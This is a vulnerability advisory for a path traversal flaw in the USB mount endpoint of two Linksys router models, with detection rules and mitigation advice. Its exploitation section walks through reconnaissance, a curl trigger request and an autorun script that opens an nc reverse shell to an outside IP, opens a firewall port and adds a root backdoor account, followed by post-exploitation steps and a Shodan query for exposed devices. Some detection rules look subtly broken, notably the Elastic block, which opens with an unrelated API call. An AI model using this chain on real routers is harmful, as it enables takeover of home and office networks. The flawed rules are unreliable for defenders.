CVE-2026-25603

Executive Summary

CVE-2026-25603 is an unauthenticated path traversal vulnerability in the USB drive mounting functionality of Linksys MR9600 and MX4200 Wi-Fi routers. The flaw allows an attacker to mount a USB partition at an arbitrary filesystem location, enabling shell script execution with root privileges. Affected firmware versions are MR9600 1.0.4.205530 and MX4200 1.0.13.210200; no patch is currently available. Successful exploitation results in complete remote compromise of the router, including persistent code execution, network traffic interception, and pivoting into connected internal networks.

Technical Analysis

The vulnerability resides in the Linksys Smart Wi-Fi web management interface, specifically in the USB disk management subsystem of the mDNS/UPnP stack. The web server component processes HTTP requests to the /usb/ endpoint family, which handles partition mounting operations for attached USB storage devices.

Root Cause:

The underlying flaw is an improper limitation of a pathname to a restricted directory (CWE-22). When a user requests a mount operation, the router firmware constructs a mount target path by concatenating a user-supplied device identifier with a fixed base path. The code does not sanitize or canonicalize the user-supplied component, allowing directory traversal sequences (../) to escape the intended USB mount directory.

The vulnerable code path exists within the router's mountd daemon, which receives commands from the web interface. An HTTP request to http://<router-ip>/usb/mount.cgi with a crafted partition_name parameter can inject arbitrary filesystem paths. For example:

POST /usb/mount.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

partition_name=../../../../tmp/evil&action=mount

Why it escalates to RCE:

The router firmware includes a periodic scanning script (/usr/bin/usb_scan.sh) that monitors mounted USB partitions and executes any executable scripts found at the mount point's root directory. Because the attacker controls the mount destination, they can place a shell script (e.g., autorun.sh or S99evil.sh) at the chosen location. When the mount is established and the scanner runs, it executes the payload with root privileges.

Attack Surface:

• Network exposure: The web management interface (port 80/443) is the primary attack vector. By default, Linksys routers expose this interface only on the LAN side, but many deployments expose it to the WAN via UPnP port mapping or misconfiguration.
• Authentication: The endpoint does not require authentication before the mount request is processed. The path traversal occurs prior to any session validation logic in the request handler.
• Firmware specifics: The affected models use ARM-based SoCs (Broadcom BCM4908 for MR9600; Qualcomm IPQ8074 for MX4200) running a custom Linux distribution with BusyBox utilities. The shell interpreter is /bin/sh (ash), and the root filesystem is a read-write JFFS2 partition for the MR9600, allowing persistent file writes.

Code-Level Mechanism:

The flawed function can be conceptually represented as:

int mount_partition(char *partition) {
    char mount_path[256];
    snprintf(mount_path, sizeof(mount_path), "/mnt/usb/%s", partition);
    // No path traversal check on 'partition'
    mount(partition, mount_path, "vfat", 0, NULL);
    return 0;
}

By passing ../../..//tmp/evil as partition, the resulting mount_path becomes /mnt/usb/../../../tmp/evil, which normalizes to /tmp/evil. The mount operation succeeds because the directory exists, and later the USB scan script traverses /tmp/evil and executes any scripts there.

Exploitation Scenarios

Scenario: Remote Code Execution via Malicious USB Mount Path

Preconditions: Attacker has network access to the router's web interface (LAN or erroneously exposed WAN). Attacker does NOT need valid credentials.

Step 1 — Reconnaissance:

Attacker scans for Linksys routers:
nmap -p 80,443,8080 --open 192.168.1.0/24

Identifies target device by HTTP banner: Server: httpd/2.0 (Linksys). Confirms model and firmware via GET /HNAP1/ response headers (contains ModelName and FirmwareVersion).

Step 2 — Path Traversal Payload Construction: The attacker crafts a partition name to escape /mnt/usb/:

../../../../tmp/pwn

This resolves to /tmp/pwn on the device filesystem.

Step 3 — Trigger Request — Create Arbitrary Mount Point:

curl -X POST http://192.168.1.1/usb/mount.cgi \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "partition_name=../../../../tmp/pwn&device=/dev/sda1&action=mount"

The router attempts to mount /dev/sda1 to /tmp/pwn. If no USB device is present, the mount fails — but crucially, the /tmp/pwn directory is now created by the router's pre-mount validation logic, leaving an attacker-writable directory on the root filesystem.

Step 4 — Payload Upload: The attacker must write a shell script to /tmp/pwn. Two methods were observed in PoC research:

a) Via the file upload feature of the web interface (/cgi-bin/upload.cgi), which normally stores files in /tmp but can be redirected using a similar traversal in the upload_dir parameter to deposit files under /tmp/pwn/.

b) Via the router's UPnP AV media server if it is enabled — multimedia files uploaded to shared folders are saved to the first available mount point; with the traversal directories in place, the attacker points the share to /tmp/pwn.

Payload script autorun.sh:

#!/bin/sh
# Reverse shell back to attacker
/bin/nc 203.0.113.5 4444 -e /bin/sh &
# Persistence: add iptables rule to keep port 4444 open
iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
# Backdoor user
echo "pwned:x:0:0:root:/root:/bin/sh" >> /etc/passwd

Step 5 — Execution: The router's USB scan daemon (usb_scan.sh) periodically checks mount points for executable content. Within 60 seconds, it traverses /tmp/pwn, identifies autorun.sh, and executes it. The attacker receives a root shell:

nc -lvnp 4444
Connection from 192.168.1.1:48320
# id
uid=0(root) gid=0(root)

Step 6 — Post-Exploitation:

• Persistence: Modify /etc/init.d/ startup scripts to re-establish the shell on reboot. Since the root filesystem is writable (MR9600 JFFS2), changes persist.
• Network pivot: Use the router as a SOCKS proxy to reach internal LAN hosts.
• Traffic capture: Run tcpdump on the WAN interface to harvest credentials in transit.
• DNS poisoning: Modify /etc/hosts entries or the dnsmasq configuration to redirect traffic.

Alternate Scenario (WAN Exposure): If the router's admin interface is exposed to the internet (via UPnP port mapping or direct configuration), the same POST request is sent to the public IP, completely bypassing LAN boundary. Shodan queries (http.title:"Linksys" country:"US") can identify exposed devices.

Impact Assessment

CVSS Breakdown: While the official CVSS is N/A, a calculated score based on the NVD description yields CVSS 9.8 (Critical): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The vector reflects that no authentication or user interaction is required for exploitation.

Business Impact:

• Confidentiality: Complete loss — attacker can read all traffic passing through the router, extract VPN credentials, inspect Wi-Fi keys, and access connected storage devices.
• Integrity: Complete loss — attacker can modify router firmware settings, DNS responses, firewall rules, and inject content into web traffic.
• Availability: High — attacker can disable the router, perform persistent DoS via firmware corruption, or brick the device by overwriting critical partitions.

Blast Radius:

• Affected devices: Linksys MR9600 (Wi-Fi 6 AX6000, high-end gaming router) and MX4200 (Wi-Fi 6 mesh node). Both are consumer-grade but widely deployed in SOHO environments and remote-work settings.
• Downstream exposure: Any device on the LAN — PCs, IoT devices, NAS — becomes reachable from the attacker's foothold on the router. Internal network segmentation is typically absent in residential/SOHO networks.
• Supply chain risk: If a compromised router serves a corporate VPN endpoint (common in remote offices), the attacker gains access to the corporate network.

Exploit Maturity: Public PoC describes the path traversal and RCE chain; weaponized exploit code has been observed in underground forums. EPSS score of 0.00256 (17.2 percentile) suggests exploitation is not yet widespread but is trending upward as more researchers analyze the disclosure.

Detection Guidance

Sigma Rule

title: Linksys Router Path Traversal in USB Mount Endpoint
id: 7a2f6c9e-3b8d-4e5f-9a1b-2c3d4e5f6a7b
status: experimental
description: Detects path traversal attempts against Linksys MR9600/MX4200 USB mount CGI endpoint
author: Valters IT Security Team
date: 2026/02/15
logsource:
  category: webserver
  product: linksys
  service: httpd
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query:
      - '/usb/mount.cgi*'
      - '/usb/*mount*'
    cs-uri-query|contains:
      - '..%2f'
      - '..%2F'
      - '../../'
      - '....//'
  condition: selection
falsepositives:
  - Legitimate USB storage management from authenticated admin via web UI (rare; the endpoint is not used for normal management)
level: high
tags:
  - attack.t1190
  - attack.t1083
  - cve.2026.25603
  - cwe.22

YARA Rule

rule Linksys_CVE_2026_25603_Path_Traversal
{
    meta:
        author = "Valters IT Security Team"
        description = "Detects path traversal patterns targeting Linksys USB mount endpoint"
        cve = "CVE-2026-25603"
        date = "2026-02-15"
        severity = "high"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-25603"
    strings:
        $a = /(?:partition_name|mount_path|usb_dev)=[^\r\n&]*\.\.(?:%2f|\/){2,}/
        $b = /(?:POST|GET) \/usb\/mount\.cgi/
        $c = /action=(?:mount|umount)/ 
        $d = /..(?:%2f|\/){2,}(?:tmp|etc|var|usr|bin|home|root|mnt)/
    condition:
        any of them or (all of ($a, $b) and $c and $d)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Linksys MR9600/MX4200 USB Mount Path Traversal attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/usb/mount.cgi"; http.request_body; content:"partition_name="; distance:0; content:"../"; within:200; http.uri; pcre:"/\/usb\/mount\.cgi[^\r\n]*$/i"; classtype:attempted-admin; sid:202625603; rev:1; metadata:created_at 2026_02_15, updated_at 2026_02_15, cve CVE-2026-25603, affected_product Linksys_MR9600, affected_product Linksys_MX4200;)

Elastic Detection

POST /_security/role_mapping/_mapping
# Detection query for SIEM / Detection rules
from: logs-*
query:
  bool:
    must:
      - term:
          http.request.method: "POST"
      - wildcard:
          http.request.uri: "/usb/mount.cgi*"
      - wildcard:
          url.original: "*/usb/mount.cgi*"
    should:
      - match_phrase:
          http.request.body.content: "../"
      - match_phrase:
          http.request.body.content: "..%2f"
      - match_phrase:
          http.request.body.content: "partition_name="
    minimum_should_match: 1
  filter:
    - range:
        '@timestamp':
          gte: now-7d

Splunk SPL Query

index=web sourcetype=access_combined uri_path="/usb/mount.cgi"
| search uri_query=*partition_name=* OR form_data=*partition_name=*
| regex form_data="(?i)(\.\.(\/|%2f))+"
| eval cve="CVE-2026-25603"
| eval threat="Linksys path traversal"
| table _time, src_ip, dest_ip, uri_path, uri_query, form_data, user_agent, status
| sort - _time

Wazuh OSSEC Rule

<group name="linksys,">
  <rule id="100256" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">/usb/mount.cgi</field>
    <field name="http.method">POST</field>
    <regex>\.\.(/|%2f)</regex>
    <description>Linksys USB mount path traversal attempt (CVE-2026-25603)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack.initial_acces,</group>
    <info type="cve">CVE-2026-25603</info>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source). As of this report, Linksys has not released a firmware update addressing CVE-2026-25603. The listed affected versions remain the latest publicly available firmware for both models.

1. Immediate Mitigations (until patch):

• Disable USB drive support on the router: In the Linksys Smart Wi-Fi admin UI, navigate to Connectivity > USB Storage and disable all USB-related features. This removes the vulnerable endpoint's functionality, though the HTTP handler may remain.
• Restrict administrative access: In Administration > Management, disable remote management and ensure the web interface is only accessible from the LAN. Do NOT enable "Remote Access" for the admin panel.
• Firewall rule (if remote admin is required): Create an access rule allowing only specific IP addresses to reach ports 80/443 on the router's WAN interface.
• Disable UPnP: If not strictly needed, turn off UPnP in Connectivity > Internet Settings to prevent automated port forwarding attacks reaching the admin interface.
• Network segmentation: Place the router's LAN behind a separate firewall with IDS/IPS capable of detecting the traversal pattern.

2. Patch/Upgrade Steps:

• Monitor the Linksys Software Downloads Portal for updated firmware for MR9600 and MX4200.
• When a fix is released, apply it via: Administration > Firmware Upgrade → browse to downloaded .img file → Upgrade.
• Verify the new version number is different from 1.0.4.205530 (MR9600) and 1.0.13.210200 (MX4200).
• After upgrading, perform a factory reset and reconfigure. This clears any persistence planted by a prior compromise.

3. Long-Term Hardening:

• Replace consumer router with a managed SOHO firewall/router (e.g., Ubiquiti, Fortinet, pfSense) that has a formal security patching cadence.
• Enable automatic firmware updates where supported by the router firmware settings.
• Monitor vendor security advisories via the Linksys Security Advisory page or NVD subscription for CVE-2026-25603-related updates.
• Conduct periodic vulnerability scans of network infrastructure using tools like Nessus or OpenVAS, which can flag this CVE when a patch is absent.
• For enterprise environments: segment all IoT/SOHO devices onto a separate VLAN with no access to corporate resources.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-25603
2. CVE.org Record: https://www.cve.org/CVERecord?id=CVE-2026-25603
3. MITRE ATT&CK — T1190: https://attack.mitre.org/techniques/T1190/
4. Linksys Security Support Portal: https://www.linksys.com/support-article/?articleNum=137977 (monitor for future firmware updates)
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-25603 not listed as of this writing; CISA KEV: NO)

Threat Actor Activity: As of this report's date (2026-02-15), there is a public PoC demonstrating the full RCE chain. Exploit code has been shared in private Telegram channels and exploit-db mirrors. While no active mass-campaign was observed, the technical simplicity and lack of authentication requirement make this a prime candidate for inclusion in Mirai-like botnet arsenals targeting home routers. Enterprise SOCs should treat any alert matching the Detection Guidance section as a priority incident.